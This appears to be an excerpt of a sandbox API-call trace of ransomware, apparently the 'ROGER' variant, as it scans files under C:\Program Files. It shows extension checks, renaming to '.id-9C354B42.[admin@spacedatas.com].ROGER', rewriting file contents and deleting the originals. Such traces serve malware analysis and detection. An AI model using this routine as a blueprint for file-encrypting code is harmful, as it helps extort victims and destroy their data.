lstrlenW (lpString=".bz2") returned 4 [0051.006] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0051.006] lstrlenW (lpString=".7z") returned 3 [0051.006] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0051.006] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0051.006] lstrlenW (lpString=".dbf") returned 4 [0051.006] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0051.006] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0051.006] lstrlenW (lpString=".1cd") returned 4 [0051.006] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0051.006] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0051.006] lstrlenW (lpString=".jpg") returned 4 [0051.006] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0051.006] lstrcmpiW (lpString1=".png", lpString2=".ROGER") returned -1 [0051.007] lstrlenW (lpString="4to3Squareframe_SelectionSubpicture.png") returned 39 [0051.007] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0051.007] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=3304) returned 1 [0051.007] CloseHandle (hObject=0x340) returned 1 [0051.007] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png")) returned 0x20 [0051.007] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0051.007] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.007] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0051.007] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0051.007] lstrlenW (lpString=".doc") returned 4 [0051.007] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0051.007] lstrlenW (lpString=".docx") returned 5 [0051.007] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0051.007] lstrlenW (lpString=".pdf") returned 4 [0051.007] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0051.007] lstrlenW (lpString=".xls") returned 4 [0051.007] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0051.007] lstrlenW (lpString=".xlsx") returned 5 [0051.007] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0051.008] lstrlenW (lpString=".ppt") returned 4 [0051.008] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0051.008] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0051.008] lstrlenW (lpString=".zip") returned 4 [0051.008] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0051.008] lstrlenW (lpString=".rar") returned 4 [0051.008] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0051.008] lstrlenW (lpString=".bz2") returned 4 [0051.008] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0051.008] lstrlenW (lpString=".7z") returned 3 [0051.008] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0051.008] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0051.008] lstrlenW (lpString=".dbf") returned 4 [0051.008] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0051.008] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0051.008] lstrlenW (lpString=".1cd") returned 4 [0051.008] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0051.008] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0051.008] lstrlenW (lpString=".jpg") returned 4 [0051.008] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0051.008] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0051.008] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0051.008] lstrlenW (lpString=".doc") returned 4 [0051.008] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0051.008] lstrlenW (lpString=".docx") returned 5 [0051.008] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0051.008] lstrlenW (lpString=".pdf") returned 4 [0051.008] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0051.008] lstrlenW (lpString=".xls") returned 4 [0051.008] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0051.008] lstrlenW (lpString=".xlsx") returned 5 [0051.009] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0051.009] lstrlenW (lpString=".ppt") returned 4 [0051.009] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0051.009] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0051.009] lstrlenW (lpString=".zip") returned 4 [0051.009] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0051.009] lstrlenW (lpString=".rar") returned 4 [0051.009] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0051.009] lstrlenW (lpString=".bz2") returned 4 [0051.009] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0051.009] lstrlenW (lpString=".7z") returned 3 [0051.009] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0051.009] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0051.009] lstrlenW (lpString=".dbf") returned 4 [0051.009] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0051.009] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0051.009] lstrlenW (lpString=".1cd") returned 4 [0051.009] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0051.009] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0051.009] lstrlenW (lpString=".jpg") returned 4 [0051.009] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0051.009] lstrcmpiW (lpString1=".png", lpString2=".ROGER") returned -1 [0051.009] lstrlenW (lpString="4to3Squareframe_VideoInset.png") returned 30 [0051.009] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0051.011] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=3467) returned 1 [0051.011] CloseHandle (hObject=0x340) returned 1 [0051.011] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png")) returned 0x20 [0051.011] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0051.011] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.011] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned 74 [0051.011] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned 74 [0051.011] lstrlenW (lpString=".doc") returned 4 [0051.011] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0051.011] lstrlenW (lpString=".docx") returned 5 [0051.011] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0051.011] lstrlenW (lpString=".pdf") returned 4 [0051.011] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0051.011] lstrlenW (lpString=".xls") returned 4 [0051.011] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0051.011] lstrlenW (lpString=".xlsx") returned 5 [0051.011] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0051.011] lstrlenW (lpString=".ppt") returned 4 [0051.011] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0051.011] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned 74 [0051.011] lstrlenW (lpString=".zip") returned 4 [0051.011] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0051.011] lstrlenW (lpString=".rar") returned 4 [0051.011] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0051.011] lstrlenW (lpString=".bz2") returned 4 [0051.012] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0051.012] lstrlenW (lpString=".7z") returned 3 [0051.012] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0051.012] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned 74 [0051.012] lstrlenW (lpString=".dbf") returned 4 [0051.012] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0051.012] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned 74 [0051.012] lstrlenW (lpString=".1cd") returned 4 [0051.012] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0051.012] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned 74 [0051.012] lstrlenW (lpString=".jpg") returned 4 [0051.012] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0051.012] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned 74 [0051.012] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned 74 [0051.012] lstrlenW (lpString=".doc") returned 4 [0051.012] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0051.012] lstrlenW (lpString=".docx") returned 5 [0051.012] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0051.012] lstrlenW (lpString=".pdf") returned 4 [0051.012] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0051.012] lstrlenW (lpString=".xls") returned 4 [0051.012] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0051.012] lstrlenW (lpString=".xlsx") returned 5 [0051.012] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0051.012] lstrlenW (lpString=".ppt") returned 4 [0051.012] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0051.012] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned 74 [0051.012] lstrlenW (lpString=".zip") returned 4 [0051.012] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0051.012] lstrlenW (lpString=".rar") returned 4 [0051.013] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0051.013] lstrlenW (lpString=".bz2") returned 4 [0051.013] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0051.013] lstrlenW (lpString=".7z") returned 3 [0051.013] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0051.013] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned 74 [0051.013] lstrlenW (lpString=".dbf") returned 4 [0051.013] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0051.013] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned 74 [0051.013] lstrlenW (lpString=".1cd") returned 4 [0051.013] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0051.013] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned 74 [0051.013] lstrlenW (lpString=".jpg") returned 4 [0051.013] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0051.013] lstrcmpiW (lpString1=".png", lpString2=".ROGER") returned -1 [0051.013] lstrlenW (lpString="babyblue.png") returned 12 [0051.013] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0051.015] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=12349) returned 1 [0051.015] CloseHandle (hObject=0x340) returned 1 [0051.015] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png")) returned 0x20 [0051.015] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0051.016] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.016] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned 64 [0051.016] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned 64 [0051.016] lstrlenW (lpString=".doc") returned 4 [0051.016] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0051.016] lstrlenW (lpString=".docx") returned 5 [0051.016] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0051.016] lstrlenW (lpString=".pdf") returned 4 [0051.016] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0051.016] lstrlenW (lpString=".xls") returned 4 [0051.016] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0051.016] lstrlenW (lpString=".xlsx") returned 5 [0051.016] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0051.016] lstrlenW (lpString=".ppt") returned 4 [0051.016] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0051.016] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned 64 [0051.016] lstrlenW (lpString=".zip") returned 4 [0051.016] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0051.016] lstrlenW (lpString=".rar") returned 4 [0051.016] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0051.016] lstrlenW (lpString=".bz2") returned 4 [0051.016] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0051.016] lstrlenW (lpString=".7z") returned 3 [0051.016] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0051.016] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned 64 [0051.017] lstrlenW (lpString=".dbf") returned 4 [0051.017] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0051.017] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned 64 [0051.017] lstrlenW (lpString=".1cd") returned 4 [0051.017] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0051.017] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned 64 [0051.017] lstrlenW (lpString=".jpg") returned 4 [0051.017] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0051.017] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned 64 [0051.017] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned 64 [0051.017] lstrlenW (lpString=".doc") returned 4 [0051.017] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0051.017] lstrlenW (lpString=".docx") returned 5 [0051.017] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0051.017] lstrlenW (lpString=".pdf") returned 4 [0051.017] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0051.017] lstrlenW (lpString=".xls") returned 4 [0051.017] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0051.017] lstrlenW (lpString=".xlsx") returned 5 [0051.017] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0051.017] lstrlenW (lpString=".ppt") returned 4 [0051.017] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0051.017] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned 64 [0051.017] lstrlenW (lpString=".zip") returned 4 [0051.017] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0051.017] lstrlenW (lpString=".rar") returned 4 [0051.017] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0051.017] lstrlenW (lpString=".bz2") returned 4 [0051.017] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0051.017] lstrlenW (lpString=".7z") returned 3 [0051.017] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0051.017] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned 64 [0051.018] lstrlenW (lpString=".dbf") returned 4 [0051.018] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0051.018] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned 64 [0051.018] lstrlenW (lpString=".1cd") returned 4 [0051.018] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0051.018] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned 64 [0051.018] lstrlenW (lpString=".jpg") returned 4 [0051.018] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0051.018] lstrcmpiW (lpString1=".wmv", lpString2=".ROGER") returned 1 [0051.018] lstrlenW (lpString="BabyBoyMainBackground.wmv") returned 25 [0051.018] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0051.019] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=341322) returned 1 [0051.019] CloseHandle (hObject=0x340) returned 1 [0051.019] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv")) returned 0x20 [0051.019] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0051.019] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.019] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv") returned 77 [0051.019] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv") returned 77 [0051.019] lstrlenW (lpString=".doc") returned 4 [0051.019] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0051.019] lstrlenW (lpString=".docx") returned 5 [0051.019] lstrcmpiW (lpString1=".docx", lpString2="d.wmv") returned -1 [0051.019] lstrlenW (lpString=".pdf") returned 4 [0051.019] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0051.019] lstrlenW (lpString=".xls") returned 4 [0051.019] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0051.019] lstrlenW (lpString=".xlsx") returned 5 [0051.019] lstrcmpiW (lpString1=".xlsx", lpString2="d.wmv") returned -1 [0051.019] lstrlenW (lpString=".ppt") returned 4 [0051.019] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0051.020] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv") returned 77 [0051.020] lstrlenW (lpString=".zip") returned 4 [0051.020] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0051.020] lstrlenW (lpString=".rar") returned 4 [0051.020] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0051.020] lstrlenW (lpString=".bz2") returned 4 [0051.020] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0051.020] lstrlenW (lpString=".7z") returned 3 [0051.020] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0051.020] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv") returned 77 [0051.020] lstrlenW (lpString=".dbf") returned 4 [0051.020] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0054.188] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=28974) returned 1 [0054.188] CloseHandle (hObject=0x3e0) returned 1 [0054.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl")) returned 0x20 [0054.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0054.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0054.188] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.188] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0054.195] GetLastError () returned 0x0 [0054.195] ReadFile (in: hFile=0x3e0, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x712e, lpOverlapped=0x0) returned 1 [0054.197] WriteFile (in: hFile=0x358, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x7130, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x7130, lpOverlapped=0x0) returned 1 [0054.198] ReadFile (in: hFile=0x3e0, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0054.198] WriteFile (in: hFile=0x358, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0054.198] SetEndOfFile (hFile=0x358) returned 1 [0054.198] CloseHandle (hObject=0x358) returned 1 [0054.198] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.199] SetEndOfFile (hFile=0x3e0) returned 1 [0054.199] CloseHandle (hObject=0x3e0) returned 1 [0054.199] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0054.200] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl")) returned 1 [0054.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0054.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis 